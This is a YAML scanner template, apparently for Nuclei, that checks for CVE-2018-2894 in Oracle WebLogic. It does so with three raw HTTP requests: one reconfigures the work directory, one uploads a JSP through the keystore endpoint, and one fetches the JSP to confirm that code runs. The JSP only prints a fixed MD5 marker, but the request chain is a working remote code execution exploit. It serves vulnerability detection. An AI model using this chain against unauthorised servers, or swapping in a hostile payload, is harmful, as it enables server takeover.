100 lines
3.6 KiB
YAML
100 lines
3.6 KiB
YAML
id: CVE-2018-2894
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info:
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name: Oracle WebLogic Server - Remote Code Execution
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author: geeknik,pdteam
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severity: critical
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description: |
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The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS - Web Services) is susceptible to a remote code execution vulnerability that is easily exploitable and could allow unauthenticated attackers with network access via HTTP to compromise the server. Supported versions that are affected are 12.1.3.0, 12.2.1.2 and 12.2.1.3.
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reference:
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- https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/
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- https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2018-2894
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- https://nvd.nist.gov/vuln/detail/CVE-2018-2894
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- http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2018-2894
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tags: cve2018,oracle,weblogic,rce,vulhub,cve
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metadata:
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max-request: 3
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http:
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- raw:
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- |
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POST /ws_utc/resources/setting/options HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80
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- |
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POST /ws_utc/resources/setting/keystore HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g
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------WebKitFormBoundaryuim0dyiDSPBPu31g
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Content-Disposition: form-data; name="ks_name"
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{{randstr}}
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------WebKitFormBoundaryuim0dyiDSPBPu31g
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Content-Disposition: form-data; name="ks_edit_mode"
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false
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------WebKitFormBoundaryuim0dyiDSPBPu31g
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Content-Disposition: form-data; name="ks_password_front"
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------WebKitFormBoundaryuim0dyiDSPBPu31g
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Content-Disposition: form-data; name="ks_password"
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------WebKitFormBoundaryuim0dyiDSPBPu31g
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Content-Disposition: form-data; name="ks_password_changed"
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false
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------WebKitFormBoundaryuim0dyiDSPBPu31g
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Content-Disposition: form-data; name="ks_filename"; filename="{{randstr}}.jsp"
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Content-Type: application/octet-stream
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<%@ page import="java.util.*,java.io.*"%>
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<%@ page import="java.security.MessageDigest"%>
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<%
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String cve = "CVE-2018-2894";
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MessageDigest alg = MessageDigest.getInstance("MD5");
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alg.reset();
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alg.update(cve.getBytes());
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byte[] digest = alg.digest();
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StringBuffer hashedpasswd = new StringBuffer();
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String hx;
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for (int i=0;i<digest.length;i++){
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hx = Integer.toHexString(0xFF & digest[i]);
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//0x03 is equal to 0x3, but we need 0x03 for our md5sum
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if(hx.length() == 1){hx = "0" + hx;}
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hashedpasswd.append(hx);
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}
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out.println(hashedpasswd.toString());
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%>
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------WebKitFormBoundaryuim0dyiDSPBPu31g--
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- |
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GET /ws_utc/css/config/keystore/{{id}}_{{randstr}}.jsp HTTP/1.1
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Host: {{Hostname}}
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extractors:
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- type: regex
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name: id
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internal: true
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group: 1
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regex:
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- '<keyStoreItem><id>([0-9]+)</id><name>{{randstr}}'
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matchers:
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- type: word
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words:
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- "26ec00a3a03f6bfc5226fd121567bb58" # MD5 (CVE-2018-2894)
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# Enhanced by mp on 2022/05/13
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